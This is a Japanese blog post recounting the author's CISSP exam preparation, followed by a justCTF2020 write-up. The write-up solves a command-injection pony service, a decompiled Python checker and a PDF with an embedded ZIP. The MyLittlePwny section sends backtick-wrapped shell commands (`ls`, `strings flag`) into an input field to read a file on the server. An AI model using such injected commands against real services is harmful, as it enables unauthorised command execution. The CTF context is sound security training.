【資格】CISSP受験記
今年の頭にCISSPを受験し合格しましたので、誰かの参考になればと思い、合格までに何をしたかを記しておこうと思います。
CISSPとは
ご存知の方も多いと思いますが、情報セキュリティに関する資格です。CISSPはCertified Information Systems Security Professionalの略称となっており、(ISC)² (International Information Systems Security Certification Consortium)が認定を行っている国際資格です。
以下のサイトでも紹介されているように、情報セキュリティに関する資格の中でもかなり幅広い分野が試験範囲に含まれていますので、合格するためには一つの分野だけでなく、複数分野でのセキュリティの深い知識が必要となっています。
Security Certification Roadmap - Paul Jerimy Media
認定要件もいくつかあり、試験に合格しただけではCISSPと認められません。私も現状認定要件を満たしていないため、アソシエイトという立ち位置(認定要件を満たした時にCISSPとして認定される)にいます。 試験に関する詳細はここ(ISC2 - CISSPとは)から確認できます。
受験の動機
簡単に自分のことと受験の動機を記しておきます。
自分はセキュリティ関連の研究室に所属している修士2年の大学院生で、次の4月から社会人となります。他の資格はCISSPの勉強を始める時点でNWと登録セキスペ(登録してない)を取得しており、それなりに基礎知識はあった方だと思います。
次に受験の動機になるのですが、そもそもCISSPの勉強を始めた理由は受験のためではなく、英語とセキュリティを同時に勉強できるものを探していたためです。自分は英語が全くダメで、英語の論文もろくに読めなかったので、英語もセキュリティの勉強も同時にできるCISSPの勉強はやっておいてもいいかもなと思い、かなり軽い気持ちで勉強をはじめました。勉強を始めた時点では二年後くらいに取れればいいかなと思ってました。
受験を決めた理由は新型コロナウイルスの影響がかなり大きいです。就活を終えて研究と遊びに費やそうと思っていましたが、外出の自粛&研究もリモートで行うことになり、結構自分の時間が取れるようになりました。ずっと研究をやっているのも気が滅入ってしまうし、どうせなら在学中にとってしまおう考え、真剣に勉強して受験に踏み切った次第です。 なお、CISSP試験の受験料は8万くらいかかるのですが、卒業旅行の為に貯めておいたバイト代をぶち込みました。絶対海外にいくと意気込んで貯めていたものなので、資格だけでも国際感を味わいたいと思ったのも受験に踏み切った理由の一つです。
試験の申し込み
試験の申し込みについては他の方の受験記に詳しく書かれていますので詳細は割愛します。
こちらを参考に、以下のピアソンVUEサイトから申し込みを行います。申し込み方法は各ページに記載されている手順を踏めば特に問題ないと思います。
勉強方法
参考書や問題集は書籍2冊と公式アプリを使用しました。
公式ガイドブックは分厚すぎて勉強する気になれなかったので、内容がコンパクトにまとまっているStudy Guideを選びました。勉強方法としては
- Study Guideの内容を簡単にノートにまとめ、概要を理解する (3ヶ月)
- 公式問題集を各分野ひと通り問いてみる (3週間)
- 点数が低い分野をStudy Guideで復習する (1週間)
- 公式問題集2回目 (1週間)
- Study Guide復習 (1週間)
- アプリでひたすら問題を解く(2週間)
- 公式問題集及びアプリに付属している模擬テストを解く (4週間)
といった感じです。用語については知らないものもたくさんあったので、インターネットで検索しつつ、Notion(いろいろできるメモ帳みたいなもの)に全てまとめました。それぞれの勉強に費やした期間は上記の通りですが、順々に行なったわけではなく、同時に進める箇所もありました。 勉強を始めたのが2020年の7月からなので、勉強した期間はちょうど半年くらいになります。
試験を終えて
試験問題自体は規定により紹介することはできませんが、自分からすると四択とはいえかなり難しかったです。試験に受かったからプロなんてこともなく、今後もさらに勉強が必要だなと感じました。あと認定要件にもあるように、この資格は業務経験者を対象にしているようなものなので、よほどの理由がない限り学生のうちに受験しなくていいと思います。就活ではIPAの情報処理技術者試験で十分アピールできますし、それよりも他のこと(研究とか研究とか研究とか...)に注力したほうがいいです。
とりあえずざっくり書きましたが、何か質問等あればTwitterとかで気軽に聞いていただければと思います。
【writeup】justCTF2020 振り返り
久しぶりですが友達を誘ってCTFに参加したのでwriteupまとめておきます。
Sanity Check
問題文
やったこと
YoutubeのリンクはRule The Worldというタイトルので、最初はコメントとかにフラグがあるかなーとか思っていたんですが見つからず。
タイトルからしてRuleに関連ありそうだなと思ったので、justCTF2020のRulesページを探してみても見つからず。
Sanity Checkなのでフラグ例とかありえそうだなと思って入力してみたらとおりました。
justCTF{something_h3re!}
MyLittlePwny
問題文
Ponies like only one type of numbers!
nc mylittlepwny.nc.jctf.pro 1337
やったこと
ncで接続すると>の後に入力を求められ、適当な文字を入れてみると可愛いお馬さんがお出迎えしてくれました。
適当にいくつか入力してみると、バッククォートを入れてみるとエラーを吐きました。
[sfera]~ » nc mylittlepwny.nc.jctf.pro 1337 > ` /bin/sh: 2: Syntax error: EOF in backquote substitution >
バッククォートが閉じられていないエラーっぽいので、ls
のような形で任意のコマンドを送ってみます。
> `ls` __________________________________ < bin flag lib lib64 server.py usr > ---------------------------------- \ \ \ ▄ ▄▄▄██████▄▄ █▄▄ ▄████████████████▄▄ ▄ ▄███▄███▄██████████▄▄ ▀▀ ▄██████▄▄▄▄████████▄█████▄ ██▄▄███▄▄▄▄████▄▄█▄████████ █▄█▄█▄█▄▄███▄█▄██▄▄█▄█████▄ ▄█▄████████▄▄▄███▄█████████ ▀▀█▄▄█▄▄█▄▄██▄▄▄▄▄▄████▄█████ ▀█▄▄▄▄▄▄▄▄▄▄▄▄████▄▄█████▀ ▄▄▄▄█▄██▄▄▄▄▄▄▄████████▄▄▄▄ ▀█▄▄██▄█▄█▄███▄██████████▀ ▀▄▄▄▄▄▄█▄▄▄▄▄▄██████▀▀ ▄▄▄▄▄▄▄▄▄▄▄▄▄████▄ ▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄▄████▀▀████▄ ▄███████████▄ ███▄▄█████▄▄▄█▄ ▄██████████████▄ ████████▄▄▄▄▄▄█▄▄▄▄▄▄▄▄▄██████████████ ▄██████▄▄▄▄▄▄▄███████████▄▄▀███████████ █▄█▄▄█▄▄▄▄▄▄██████▄▄▄▄▄▄▄██▄▄▄██████████ ▄▄▄▄▄█▄▄▄▄█▄▄▄▄████████████▄▄▄██████████ ██▄▄█▄▄▄█▄▄▄▄█▄▄▄▄▄▄▄▄▄▄▄▄▄█▄▄▀▀██████▀ ▀▀▀▄▄▄▄▄▄███▄▄▄███▄███▄▄▄▄▄▄ ▀████ ▀█▄▄██▄▄▄▄▄█▄▀▀▀▄▄▄██▄██▄▄ ▀██▄ ███▄▄█████▄█ ▀▄█▄█▄▄█▄█ ████▄███▄█▄▄ ██▄████▄▄▄ ██▄▄▄████▄██ ██▄███▄▄██ ██▄█▄██▄▄▄█▄▄ ██▄███▄▄▄▄█ ▀▀▀▀▀████████ ▀▀▀██▄█████ ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀
うまく実行できてflagファイルがあることが確認できました。 あとはこれを表示してフラグゲットです。(catコマンドなど特定のコマンドは実行できないように処理されていたのでstringsを使いました)
> `strings flag` _________________________________ < justCTF{p0nY_t4lEs_b3giN5_h3r3} > --------------------------------- \ \ \ \ ▄▄▄▄ █▄▄▄▄▄██▄▄▄▄▄ ▄▄▄▄▄██▄▄▄▄▄█▄▄▄▄ ████▄█▄▄█▄▄▄███▄▄▄█ ▀▄▄▄▄▄▄████████▄▄███▄█████▄▄▄▄▄▄▄▄▄▄ ████▄▄███▄▄▄▄█████████▄███████████▄ ▀▄▄▄███▄▄█▄█▄███████▄▄████▄▄▄▄▄▄▄▄▄▄ ▀▄▄█▄▄▄███▄████▄██▄▄█▄██▄▄▄▄▄▄▄▄▄▄▄▄ ██████▄▄█▄▄▄▄▄████▄▄█▄▄████████████ █████▄▄█████████████▄▄█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄████▄▄▄█████████▄▄▄▄██▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄████▄▄▄▄████████▄▄███▄▄███▄▄ ██████████▄▄███▄▄▄▄▄▄▄▄███▄▄▄▄▄▄▄▄▄█▄▄▄▄██████ ▄█▀ ▀▀▀▄▄▄▄█▄▄▄██████████████████▄▄▄▄▄▄█████████ █▄ ▀▀████▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄██████▄▄▄██████▄ ▄ ▀█ ▄▄▄▄▄▄▄▄▄▄▄▄▄████████▄▄▄▄▄▄████▄▄█▄▄▄ ▀▀▀▀ ▀▀▀▄▄▀▀▀▀▀▀▀▄▄█▄▄▄▄▄▄▄▄████████▄▄██▄▀▀ ▄█ █▄▄████████▄▄▄▄▄▄▄▄█▄▄▄█ █▀ ▄ ▀████▄▄▄▄▀▀ ▄█▀▀▀ █▀ ▄ ▀▀▀▀ ████ ▀▀▀▀ ██ ▀
justCTF{p0nY_t4lEs_b3giN5_h3r3}
That's not crypto
問題文
This is very simple RE task, but you may need some other skills as well. :)
https://ams3.digitaloceanspaces.com/justctf/11456603-38e8-4b10-9863-296fc0cf0342/checker.pyc
やったこと
pycファイルが与えられます。.pycはPythonのコードをコンパイルしたデータが入っている認識だったので、とりあえずデコンパイルする方法を探しました。
検索してみるとuncompyle6を用いれば可能とのことなのでpipでインストールします。
# uncompyle6 version 3.7.4 from random import randint def make_correct_array(s): from itertools import accumulate s = map(ord, s) s = accumulate(s) return [x * 69684751861829721459380039 for x in s] def validate(a, xs): def poly(a, x): value = 0 for ai in a: value *= x value += ai return value if len(a) != len(xs) + 1: return False else: for x in xs: value = poly(a, x) if value != 24196561: return False return True if __name__ == '__main__': a = [1, -12036995612853156936286011036665,...] # 長いので省略 a = [ai * 4919 for ai in a] flag_str = input('flag: ').strip() flag = make_correct_array(flag_str) if validate(a, flag): print('Yes, this is the flag!') print(flag_str) else: print('Incorrect, sorry. :(') # okay decompiling checker.pyc
なんか色々やってますね。大雑把に読んでみると、処理の内容は入力した文字を用いてリスト作って比較してる感じですかね。
とりあえずvalidateメソッド内の最初if文から、フラグの長さが57とわかるので、あとはその後の処理でFalseが返らないよう適当に入力文字列変えてけばフラグがでそうですね。
汚いコードですがこんなのでも問題ないです。
# uncompyle6 version 3.7.4 from random import randint ANS_FLAG = [''] * 57 def make_correct_array(s): from itertools import accumulate s = map(ord, s) s = accumulate(s) return [x * 69684751861829721459380039 for x in s] def validate(a, xs, flag_str): def poly(a, x): value = 0 for ai in a: value *= x value += ai return value if len(a) != len(xs) + 1: #print('not match len') return False else: for j, x in enumerate(xs): value = poly(a, x) #print(value) if value != 24196561: return False ANS_FLAG[j] = flag_str[j] return True if __name__ == '__main__': a = [1, -12036995612853156936286011036665,...] # 長いので省略 a = [ai * 4919 for ai in a] import string printable_list = [i for i in string.printable] for num in range(0,57): for i in printable_list: #flag_str = input('flag: ').strip() correct_str = '' if not ANS_FLAG[num-1] == '': for k in range(0, num): correct_str += ANS_FLAG[k] flag_str = correct_str + i + 'a'*(57 - len(correct_str) - 1) flag = make_correct_array(flag_str) if validate(a, flag, list(flag_str)): print('Yes, this is the flag!') print(flag_str) else: pass #print('Incorrect, sorry. :(') # okay decompiling work/checker.pyc
justCTF{this_is_very_simple_flag_afer_so_big_polynomails}
PDF is broken, and so is this file
問題文
This PDF contains the flag, but you’ll probably need to fix it first to figure out how it’s embedded. Fortunately, the file contains everything you need to render it. Follow the clues to find the flag, and hopefully learn something about the PDF format in the process.
https://ams3.digitaloceanspaces.com/justctf/eccb3bff-69aa-4232-8087-a5e8eea0f581/challenge.pdf
やったこと
ダウンロードしたPDSファイルをとりあえず開いてみると、真っ白なページが表示されました。表示させる情報はファイルの中に全て入っているとのことなので、Hex Fiendで中身を覗いてみると、requireから始まるrubyのコードから始まっていました。
PDFの構造を調べてみるとヘッダ、ボディ、クロスリファレンステーブル、トレイラーから構成されるみたいです。以下のサイトとかかなり参考になります。
中身をもう少し見てみるとクロスリファレンステーブル(xref)が2つあるので、何か間に挿入されたのかな?と推測できます。その辺りに注目してみると、PK...からはじめるzipっぽいバイナリが見えます。
これらのファイルを抽出したいのでbinwalkを使ってみると、ZIPやその中身が抽出できました。
[sfera]~/Downloads » binwalk -e ./challenge.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 53 0x35 PDF document, version: "1.5" 350 0x15E HTML document footer 1636 0x664 HTML document header 1843 0x733 HTML document footer 1936 0x790 Zlib compressed data, best compression 3882 0xF2A Zlib compressed data, best compression 745265 0xB5F31 Zlib compressed data, default compression 745469 0xB5FFD Zlib compressed data, default compression 835474 0xCBF92 Zlib compressed data, best compression 836261 0xCC2A5 JPEG image data, JFIF standard 1.01 1866761 0x1C7C09 JPEG image data, EXIF standard 1866773 0x1C7C15 TIFF image data, little-endian offset of first image directory: 8 2716590 0x2973AE Zlib compressed data, best compression 2726679 0x299B17 Zlib compressed data, best compression 2734100 0x29B814 Zlib compressed data, best compression 2747120 0x29EAF0 Zlib compressed data, best compression 2757397 0x2A1315 Zlib compressed data, best compression 2767356 0x2A39FC Zlib compressed data, best compression 2774636 0x2A566C Zlib compressed data, best compression 2788994 0x2A8E82 Zlib compressed data, best compression 2797259 0x2AAECB Zlib compressed data, best compression 2811290 0x2AE59A Zip archive data, at least v1.0 to extract, name: feelies/ 2811356 0x2AE5DC Zip archive data, at least v2.0 to extract, compressed size: 27832169, uncompressed size: 38061512, name: feelies/mutool 30643597 0x1D3958D Zip archive data, at least v2.0 to extract, compressed size: 220, uncompressed size: 289, name: feelies/false_flag.md 30644149 0x1D397B5 End of Zip archive, footer length: -28825 30658564 0x1D3D004 Zlib compressed data, best compression 30666829 0x1D3F04D Zlib compressed data, best compression
false_flag.mdにはmutoolの使い方などが書かれていたので、mutoolを使ってみるとpngが出力されました。
英弱なので内容を正しく理解できているわけではないですが、なんとなく分かったことは
0x06がなんか悪さをしている
2642 didder "42bytes" object で検索すれば何かヒントが得られそう
くらいですかね。
PDFファイルの中で0x06の箇所を探してみると、streamオブジェクトの記述あたりで使用されていました。これを他の正常なPDFを参考に0Aに変更してみるとAdobeで表示させることができました。ただ内容としてはmutoolを使って出てきたpngと同様で、特に目新しい情報は得られませんでした。
次に 2642 didder "42bytes" objectで検索をかけてみると以下のサイトがヒットしました。
PDF Stream Objects | Didier Stevens
Stream Objectのフォーマットについて書かれていたので、PDFファイルの中で正しいフォーマットでない箇所を探すと、ZIPの箇所でLengthやFilterが指定されていないです。ただこの箇所は表示させる内容とは考えにくかったので、ここでかなりつまづきました...。
どこに目をつけたらいいのかわからなかったので、PDFに含まれているオブジェクトをとりあえず手当たり次第見てみました。xrefから50個のオブジェクトがあることは分かったいたので、順に探しているところ、オブジェクト番号が4919のものがありました。こいつを表示できれば何かヒントが得られそうです。
しかし、xrefやオブジェクト番号をいじってみても、うまく表示させることができませんでした。もう少しPDFのフォーマットについて詳しく調べる必要がありそうです。
ここでbinwalkで抽出したデータを眺めてると、気になるファイルがあることに気付きます。
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C 01 2C 00 00 FF DB 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0A 0C 14 0D 0C 0B 0B 0C 19 12 13 0F 14 1D 1A 1F 1E 1D 1A 1C 1C 20 24 2E 27 20 22 2C 23 1C 1C 28 37 29 2C 30 31 34 34 34 1F 27 39 3D 38 32 3C 2E 33 34 32 FF DB 00 43 01 09 09 09 0C 0B 0C 18 0D 0D 18 32 21 1C 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ---略---
なんかのバイナリですね。
これをHex Fiendにコピーして保存すると画像が表示されました。
justCTF{BytesAreNotRealWakeUpSheeple}
簡単なのしか解けませんでしたが久しぶりのCTF楽しかったです。
またやりたい。